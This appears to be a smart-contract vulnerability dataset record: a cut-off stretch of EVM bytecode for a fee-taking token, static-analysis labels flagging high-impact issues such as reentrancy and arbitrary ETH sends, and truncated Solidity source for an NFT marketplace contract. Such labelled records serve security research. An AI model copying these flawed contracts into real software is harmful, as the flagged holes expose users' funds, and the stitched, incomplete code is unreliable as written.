ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611059576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156110dd5760016007600084848151811061107757fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808060010191505061105c565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611122611a11565b73ffffffffffffffffffffffffffffffffffffffff161461114257600080fd5b600061114d30610b3f565b9050611158816125eb565b50565b611163611a11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611223576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601260149054906101000a900460ff16156112a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061133730601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669152d02c7e14af6800000611a19565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561137d57600080fd5b505afa158015611391573d6000803e3d6000fd5b505050506040513d60208110156113a757600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561141a57600080fd5b505afa15801561142e573d6000803e3d6000fd5b505050506040513d602081101561144457600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156114be57600080fd5b505af11580156114d2573d6000803e3d6000fd5b505050506040513d60208110156114e857600080fd5b8101908080519060200190929190505050601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061158230610b3f565b60008061158d610f0d565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561161257600080fd5b505af1158015611626573d6000803e3d6000fd5b50505050506040513d606081101561163d57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601260166101000a81548160ff0219169083151502179055506001601260176101000a81548160ff021916908315150217905550683635c9adc5dea000006013819055506001601260146101000a81548160ff021916908315150217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561179b57600080fd5b505af11580156117af573d6000803e3d6000fd5b505050506040513d60208110156117c557600080fd5b81019080805190602001909291905050505050565b6117e2611a11565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611918576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611948606461193a8369152d02c7e14af68000006128d590919063ffffffff16565b61295b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6013546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613eb46024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613dfb6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613e8f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613dae6023913960400191505060405180910390fd5b60008111611d75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613e666029913960400191505060405180910390fd5b611d7d610f0d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611deb5750611dbb610f0d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561237857601260179054906101000a900460ff1615612051573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e6d57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ec75750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f215750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561205057601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f67611a11565b73ffffffffffffffffffffffffffffffffffffffff161480611fdd5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fc5611a11565b73ffffffffffffffffffffffffffffffffffffffff16145b61204f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b60135481111561206057600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121045750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61210d57600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121b85750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561220e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122265750601260179054906101000a900460ff165b156122be5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061227657600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006122c930610b3f565b9050601260159054906101000a900460ff161580156123365750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561234e5750601260169054906101000a900460ff165b156123765761235c816125eb565b6000479050600081111561237457612373476124fb565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061241f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561242957600090505b612435848484846129a5565b50505050565b60008383111582906124e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124ad578082015181840152602081019050612492565b50505050905090810190601f1680156124da5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612563573d6000803e3d6000fd5b5050565b6000600a548211156125c4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613dd1602a913960400191505060405180910390fd5b60006125ce612bfc565b90506125e3818461295b90919063ffffffff16565b915050919050565b6001601260156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561262057600080fd5b5060405190808252806020026020018201604052801561264f5781602001602082028036833780820191505090505b509050308160008151811061266057fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561270257600080fd5b505afa158015612716573d6000803e3d6000fd5b505050506040513d602081101561272c57600080fd5b81019080805190602001909291905050508160018151811061274a57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127b130601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a19565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561287557808201518184015260208101905061285a565b505050509050019650505050505050600060405180830381600087803b15801561289e57600080fd5b505af11580156128b2573d6000803e3d6000fd5b50505050506000601260156101000a81548160ff02191690831515021790555050565b6000808314156128e85760009050612955565b60008284029050828482816128f957fe5b0414612950576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613e1d6021913960400191505060405180910390fd5b809150505b92915050565b600061299d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612c27565b905092915050565b806129b3576129b2612ced565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a565750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612a6b57612a66848484612d30565b612be8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612b0e5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b2357612b1e848484612f90565b612be7565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612bc55750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bda57612bd58484846131f0565b612be6565b612be58484846134e5565b5b5b5b80612bf657612bf56136b0565b5b50505050565b6000806000612c096136c4565b91509150612c20818361295b90919063ffffffff16565b9250505090565b60008083118290612cd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612c98578082015181840152602081019050612c7d565b50505050905090810190601f168015612cc55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612cdf57fe5b049050809150509392505050565b6000600c54148015612d0157506000600d54145b15612d0b57612d2e565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612d4287613975565b955095509550955095509550612da087600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139dd90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e3586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139dd90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612eca85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a2790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f1681613aaf565b612f208483613c54565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612fa287613975565b95509550955095509550955061300086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139dd90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061309583600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a2790919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061312a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a2790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061317681613aaf565b6131808483613c54565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061320287613975565b95509550955095509550955061326087600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139dd90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132f586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139dd90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061338a83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a2790919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061341f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a2790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061346b81613aaf565b6134758483613c54565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806134f787613975565b95509550955095509550955061355586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139dd90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135ea85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a2790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061363681613aaf565b6136408483613c54565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a549050600069152d02c7e14af6800000905060005b600980549050811015613928578260026000600984815481106136ff57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806137e6575081600360006009848154811061377e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561380557600a5469152d02c7e14af680000094509450505050613971565b61388e600260006009848154811061381957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846139dd90919063ffffffff16565b925061391960036000600984815481106138a457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836139dd90919063ffffffff16565b915080806001019150506136e0565b5061394869152d02c7e14af6800000600a5461295b90919063ffffffff16565b82101561396857600a5469152d02c7e14af6800000935093505050613971565b81819350935050505b9091565b60008060008060008060008060006139928a600c54600d54613c8e565b92509250925060006139a2612bfc565b905060008060006139b58e878787613d24565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613a1f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061243b565b905092915050565b600080828401905083811015613aa5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613ab9612bfc565b90506000613ad082846128d590919063ffffffff16565b9050613b2481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a2790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613c4f57613c0b83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a2790919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613c6982600a546139dd90919063ffffffff16565b600a81905550613c8481600b54613a2790919063ffffffff16565b600b819055505050565b600080600080613cba6064613cac888a6128d590919063ffffffff16565b61295b90919063ffffffff16565b90506000613ce46064613cd6888b6128d590919063ffffffff16565b61295b90919063ffffffff16565b90506000613d0d82613cff858c6139dd90919063ffffffff16565b6139dd90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613d3d85896128d590919063ffffffff16565b90506000613d5486896128d590919063ffffffff16565b90506000613d6b87896128d590919063ffffffff16565b90506000613d9482613d8685876139dd90919063ffffffff16565b6139dd90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212205f2b1bb2fa12f7f3b64d4bf5cc66edba05515e399d38c187cf821e9f7e09bc3a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 1,623 |
0x0db2d99a27c4fe21bb9dcbd386f19d1c9841f178
|
/**
*Submitted for verification at Etherscan.io on 2021-06-16
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-04
*/
pragma solidity 0.4.26;
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract IERC721 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transfer(address to, uint256 tokenId) public;
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract BuyNFT is Ownable {
using SafeMath for uint256;
address public ceoAddress;
uint256 public Percen = 1000;
struct Price {
address tokenOwner;
uint256 Price;
uint256 fee;
}
struct Game {
mapping(uint256 => Price) tokenPrice;
uint[] tokenIdSale;
uint256 Fee;
uint256 limitFee;
}
mapping(address => Game) public Games;
address[] public arrGames;
constructor() public {
ceoAddress = msg.sender;
Games[address(0xD1E5b0FF1287aA9f9A268759062E4Ab08b9Dacbe)].Fee = 0;
Games[address(0xD1E5b0FF1287aA9f9A268759062E4Ab08b9Dacbe)].limitFee = 0;
arrGames.push(address(0xD1E5b0FF1287aA9f9A268759062E4Ab08b9Dacbe));
}
function getArrGames() public view returns(address[] memory){
return arrGames;
}
/**
* @dev Throws if called by any account other than the ceo address.
*/
modifier onlyCeoAddress() {
require(msg.sender == ceoAddress);
_;
}
modifier isOwnerOf(address _game, uint256 _tokenId) {
IERC721 erc721Address = IERC721(_game);
require(erc721Address.ownerOf(_tokenId) == msg.sender);
_;
}
event Sell(address _user, address _game, uint256 _tokenId, uint256 _Price);
event Buy(address _user, address _game, uint256 _tokenId, uint256 _Price);
event _resetPrice(address _game, uint256 _tokenId);
function ownerOf(address _game, uint256 _tokenId) public view returns (address){
IERC721 erc721Address = IERC721(_game);
return erc721Address.ownerOf(_tokenId);
}
function balanceOf() public view returns (uint256){
return address(this).balance;
}
function getTokenPrice(address _game, uint256 _tokenId) public view returns (Price) {
return Games[_game].tokenPrice[_tokenId];
}
function getApproved(address _game, uint256 _tokenId) public view returns (address){
IERC721 erc721Address = IERC721(_game);
return erc721Address.getApproved(_tokenId);
}
function setPrice(address _game, uint256 _tokenId, uint256 _price, uint256 _fee) internal {
Games[_game].tokenPrice[_tokenId] = Price(msg.sender, _price, _fee);
Games[_game].tokenIdSale.push(_tokenId);
bool flag = false;
for(uint i = 0; i< arrGames.length; i++) {
if(arrGames[i] == _game) flag = true;
}
if(!flag) arrGames.push(_game);
}
function calFee(address _game, uint256 _price) public view returns (uint fee){
fee =_price.mul(Games[_game].Fee).div(Percen);
}
function calPrice(address _game, uint256 _tokenId, uint256 _Price) public view returns(uint256 _Need) {
uint256 fee;
uint256 totalFee;
if (Games[_game].tokenPrice[_tokenId].Price < _Price) {
fee = calFee(_game, _Price.sub(Games[_game].tokenPrice[_tokenId].Price));
totalFee = calFee(_game, _Price);
if(Games[_game].tokenPrice[_tokenId].Price == 0 && fee < Games[_game].limitFee) {
_Need = Games[_game].limitFee;
} else if(Games[_game].tokenPrice[_tokenId].Price > 0 && totalFee < Games[_game].limitFee) {
_Need = 0;
} else {
if(totalFee < Games[_game].tokenPrice[_tokenId].fee) _Need = 0;
else _Need = totalFee.sub(Games[_game].tokenPrice[_tokenId].fee);
}
}
}
function sell(address _game, uint256 _tokenId, uint256 _Price) public payable isOwnerOf(_game, _tokenId) {
IERC721 erc721Address = IERC721(_game);
if(erc721Address.ownerOf(_tokenId) != Games[_game].tokenPrice[_tokenId].tokenOwner && erc721Address.ownerOf(_tokenId) != address(this)) resetPrice(_game, _tokenId);
require(Games[_game].tokenPrice[_tokenId].Price != _Price);
uint256 Need = calPrice(_game, _tokenId, _Price);
require(msg.value >= Need);
uint256 fee;
if (Games[_game].tokenPrice[_tokenId].Price < _Price) {
fee = calFee(_game, _Price.sub(Games[_game].tokenPrice[_tokenId].Price));
uint256 totalFee = calFee(_game, _Price);
if(Games[_game].tokenPrice[_tokenId].Price == 0 && fee < Games[_game].limitFee) {
fee = Games[_game].limitFee;
} else if(Games[_game].tokenPrice[_tokenId].Price > 0 && totalFee < Games[_game].limitFee) {
fee = 0;
} else {
if(totalFee < Games[_game].tokenPrice[_tokenId].fee) fee = 0;
else fee = totalFee.sub(Games[_game].tokenPrice[_tokenId].fee);
}
fee = fee.add(Games[_game].tokenPrice[_tokenId].fee);
} else {
fee = Games[_game].tokenPrice[_tokenId].fee;
}
setPrice(_game, _tokenId, _Price, fee);
emit Sell(msg.sender, _game, _tokenId, _Price);
}
function removePrice(address _game, uint256 _tokenId) public isOwnerOf(_game, _tokenId){
msg.sender.transfer(Games[_game].tokenPrice[_tokenId].fee);
if(Games[_game].tokenPrice[_tokenId].tokenOwner == address(this)) {
IERC721 erc721Address = IERC721(_game);
erc721Address.transfer(Games[_game].tokenPrice[_tokenId].tokenOwner, _tokenId);
}
resetPrice(_game, _tokenId);
}
function setLimitFee(address _game, uint256 _Fee, uint256 _limitFee) public onlyOwner {
require(_Fee >= 0 && _limitFee >= 0);
Games[_game].Fee = _Fee;
Games[_game].limitFee = _limitFee;
}
function setLimitFeeAll(address[] memory _game, uint256[] memory _Fee, uint256[] memory _limitFee) public onlyOwner {
require(_game.length == _Fee.length);
for(uint i = 0; i < _game.length; i++){
require(_Fee[i] >= 0 && _limitFee[i] >= 0);
Games[_game[i]].Fee = _Fee[i];
